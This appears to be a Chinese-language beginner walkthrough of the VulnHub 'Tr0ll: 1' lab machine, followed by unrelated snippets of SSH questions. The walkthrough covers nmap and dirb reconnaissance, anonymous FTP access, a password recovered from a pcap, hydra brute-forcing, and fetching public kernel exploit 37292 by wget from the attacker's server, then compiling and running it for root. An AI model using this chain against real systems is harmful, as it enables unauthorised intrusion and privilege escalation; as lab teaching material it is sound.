挑战全网最详细靶机教程——vulnhub靶机实战vulnhub Tr0ll: 1【适合刚接触的新人学习】

2023-11-13

靶机地址:https://www.vulnhub.com/entry/tr0ll-1,100/

靶机难度:简单

靶机发布日期:2014年8月14日

靶机描述:Tr0ll的灵感来自OSCP实验室中不断摇曳的机器

作者:木木北星

目标:得到root权限&找到proof.txt

请注意:对于所有这些计算机,我已经使用VMware运行下载的计算机。我将使用Kali Linux作为解决该CTF的攻击者机器。这里使用的技术仅用于交流学习目的,如果列出的技术用于其他任何目标,我概不负责。

老规矩第一步:信息收集

我这里使用的是nmap进行确定靶机的ip地址:

使用命令:nmap -sP 192.168.222.0/24

我们已经找到了此次靶机目标计算机IP地址:192.168.222.138

得到ip后开始探索ip地址开放端口和一些服务。继续用nmap全端口扫描:

使用命令:nmap -sV 192.168.222.138

可以看到扫出了三个端口:21、22、80我们先试试80端口;

呵呵。。。没有发现什么有用的信息用dirb扫一下目录看看

使用命令:dirb http://192.168.20.129/

好,发现一个老朋友,打开看看

继续访问/secret

这个老6.。。。;试试其他端口:21尝试匿名登录ftp

ftp有个非常奇怪的功能:匿名登录,但是默认是关闭的,试一试

输入ftp 进入ftp模式

打开与靶机的ftpopen 192.168.222.138

输入登录名anonymous u1s1,我老是记错这个单词

然后输入密码:如果是anonymous开启了,那么直接回车就行了,然后惊喜的发现进去了:)

查看当前目录文件ls

发现有个流量包,所以下载下来,get lol.pcap wireshark打开(也可以用root方式打开主文件夹,找到root文件将他打开)

简单分析这个流量包,应该是在ftp传输发生的,而且被抓取对象也使用了匿名登录,查看data协议发现有个文件secret_stuff.txt被上传,内容;鉴于只发现了SSH/FTP/HTTP,英文说让我使用root/sup3rs3cr3tdirlol登陆ssh 失败告终!所以将他以目录打方式访问一下

下载文件放入kali使用dile查看文件类型

是个可执行文件我们执行试试

出现一个 0x0856BF ,应该和上一个套路差不多,当一个网站目录访问试试

里面有两个文件,第一个如果我没有猜错的话应该是用户名,第二个应该就是密码了,但是只有一个密码那就只好hydra爆破一下试试

将''用户名''下载放入kali保存在user文件中(记得把genphlux后面的解释删了)

ssh登录靶机

ssh overflow@192.168.222.138

登录ssh之后发现靶机正在运行Ubuntu 14.04和3.13内核,看看是否可以找到这些版本的任何特权升级漏洞

第二步:提权

https://www.exploit-db.com 上面找到Ubuntu 14.04和3.13内核的可利用提权shell,发现id为37293

在exploit官网查看发现可以使用37292进行提权,先搜索这个漏洞

命令:searchsploit 37293

然后再把37292.c文件保存到桌面的一个空文件夹中

命令:cp /usr/share/exploitdb/exploits/linux/local/37292.c /home/kali/桌面/111

接下来我们就可以使用python搭建一个简易服务器,操纵靶机下载这个文件并执行,我们就可以成功提权了,命令和之前说过的一样,用py3的方法搭建即可

执行命令:python -m http.server 8899

接下来就是提升权限操纵靶机下载这个文件

首先进入tmp靶机的tmp文件夹,其余的文件夹没有写入权限,然后下载37292.c文件到tmp文件夹
命令:wget http://192.168.222.128:8899/37292.c

成功下载下来之后就是最后一步啦,解压并执行文件
命令:gcc 37292.c -o mmbx
./mmbx

最后:如果本人有哪些步骤没有做的精细的望大佬勿喷,本人也喜欢结实五湖四海的朋友一起探讨学习技术。

有兴趣的可以斯我

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

挑战全网最详细靶机教程——vulnhub靶机实战vulnhub Tr0ll: 1【适合刚接触的新人学习】 的相关文章

  • 在 Python 中使用 Paramiko 模块切换到 root 用户时出现“必须从终端运行”

    我正在尝试通过 Python 脚本自动执行任务 这个想法是以普通用户身份登录 然后发送su命令并切换到 root 帐户 我无法直接以 root 身份登录的原因是SSHD不允许 root 登录 这是我所拥有的 ip 192 168 105 8
  • Git - 远程:致命:你在一个尚未诞生的分支上

    我正在尝试设置一个钩子来从我的桌面推送到我的服务器 这在过去已经工作了无数次 但现在我在设置新网站时遇到错误 remote fatal You are on a branch yet to be born 我一如既往地完成了与命令相同的系列
  • 使用 ansible SSH 到远程服务器

    我正在使用 ansible 来自动化一些任务 其中之一要求我ssh到服务器A 然后从A到B 然后从B到C 我似乎找不到任何方法来做到这一点 有什么建议么 鉴于您不使用 Paramiko 进行 ssh transport ssh https
  • Mac OS X 上的 scp 问题:scp 不喜欢文件名中的空格,“\”修复不起作用

    我正在尝试使用 scp 在两台 Mac 操作系统 10 6 8 之间传输文件 但它失败了 因为我的目录 文件名中有空格 我无法更改目录 文件名 当我使用 Mac 在终端中工作时 我经常使用 符号来表示空格 然而 在这种情况下 它不起作用 我
  • 调试神秘的git+ssh+proxy失败“bash:没有这样的文件或目录”的艰难方法

    我正在尝试通过 SOCKS5 代理克隆 github 存储库 在 ssh config I have Host github com github com ProxyCommand usr bin nc X 5 x 127 0 0 1 70
  • 如何在 Eclipse 中使用 ssh 隧道设置 Subversion?

    我有一个远程服务器 在非标准 ssh 端口上托管我的 subversion 存储库 我想使用 Eclipse 的 subclipse 插件作为客户端来访问 SVN 存储库 我可以使用 svn specialssh 来访问存储库 其中spec
  • 我可以在远程服务器上运行位于本地计算机上的 bash 脚本吗?

    我有本地脚本 我想在远程服务器上运行 我已经设置了 ssh 密钥对以启用无需密码的登录 我当前的方法是将脚本 rsync 到服务器 然后运行它 ssh user remoteserver rsync localserver script s
  • 如何捕获密码提示

    我有以下代码 更新为包括 pexpect import sys import subprocess import pexpect print 0 ssh subprocess Popen ssh A t email protected cd
  • 为什么 ssh-agent 需要 root 访问权限?

    我刚刚安装了 Archbang 并尝试克隆我的 Git 项目 这需要 SSH 密钥 过去 我在 Ubuntu 和 RedHat 机器上遵循 Github 指南取得了成功 但由于某种原因 它在我的新 Arch 安装上不起作用 我已使用以下命令
  • 原始 ssh 连接(低级)

    作为一个小型 大型 业余爱好项目 我开始用 C 制作一个 非常原始的 ssh 2 0 客户端 这是为了探索和更好地理解 DH 并帮助加深我对加密的熟悉程度 根据 RFC 4253 我已经开始这样的初始连接 省略不相关的变量预设等 Rando
  • 使用 Jenkins Git 插件中的 SSH 密钥在构建期间运行 Git 命令

    我们在 Jenkins 上的构建作业作为发布构建的一部分运行一些 git 命令 例如 git push 和 git pull 因此需要一种在构建期间从 shell 运行经过身份验证的 git 命令的方法 我们的詹金斯奴隶不持有任何凭证 因为
  • 如何使用java与防火墙(路由器)建立ssh连接?

    由于某种原因 我需要连接到防火墙 基于Linux 并使用Java添加一些规则 用google搜索了一段时间后 我发现jsch是我最好的选择 但是当我 用它来执行命令 显示主机名 例如 返回错误 如果我 执行类似命令 ls l and who
  • 远程 ssh 命令:第一个回显输出丢失

    我试图通过 ssh 1 liner 调用在远程机器上运行多个命令 方法是将它们指定为传递给 bash c 的分号分隔字符串 它适用于某些情况 但不适用于其他情况 看一下这个 Note the echo 1 output is lost ba
  • 通过 SSH 将变量传递给远程脚本

    我正在通过 SSH 从本地服务器在远程服务器上运行脚本 首先使用 SCP 复制该脚本 然后在传递一些参数时调用该脚本 如下所示 scp path to script server example org another path ssh s
  • 如何在两个不同帐户之间设置无密码身份验证

    我们可以在两台机器的两种不同用途之间设置无密码身份验证吗 例如 计算机A有用户A 计算机B有用户B 我们可以设置密码 ssh 以便计算机 A 上的用户 A 使用其用户帐户 A 登录计算机 B 谢谢你 如果我理解你的问题 你能设置一下吗ssh
  • Paramiko ValueError“p 的长度必须恰好为 1024、2048 或 3072 位”

    我正在尝试使用 Python 脚本连接 SFTP 由于 p 错误 我无法连接 import paramiko client paramiko SSHClient client load system host keys client con
  • Ansible bitbucket 克隆存储库配置 ssh 错误

    我之前发布过这个问题 但那里的答案不再有效 总之 当使用 Ansible 配置我的 vagrant box 时 在尝试使用 ssh 克隆我的 bitbucket 私有存储库时 我遇到了一个神秘的错误 该错误指出 权限被拒绝 公钥 然而 如果
  • 使用 ChannelExec 的命令未执行 - Jsch

    我正在使用 Jsch 在服务器中创建一个文件并执行一些命令 对于文件创建 它工作正常 但是对于命令执行 则不然 它保持状态 1 仍在处理它 并永远保持该状态 这种情况发生在 shell 执行或我尝试成为 root 时 请按照以下方法操作 p
  • 从 python 发起 SSH 隧道时出现问题

    目标是在卫星服务器和集中式注册数据库之间建立 n 个 ssh 隧道 我已经在我的服务器之间设置了公钥身份验证 因此它们只需直接登录而无需密码提示 怎么办 我试过帕拉米科 它看起来不错 但仅仅建立一个基本的隧道就变得相当复杂 尽管代码示例将受
  • PHPStorm - 无效的后代文件名

    我正在尝试将 Windows 7 PC 上的本地 PHPStorm 项目与 Ubuntu 服务器同步 当我尝试任何类型的连接 例如 测试 SFTP 连接 时 它会失败并显示 Invalid descendent file name C np

随机推荐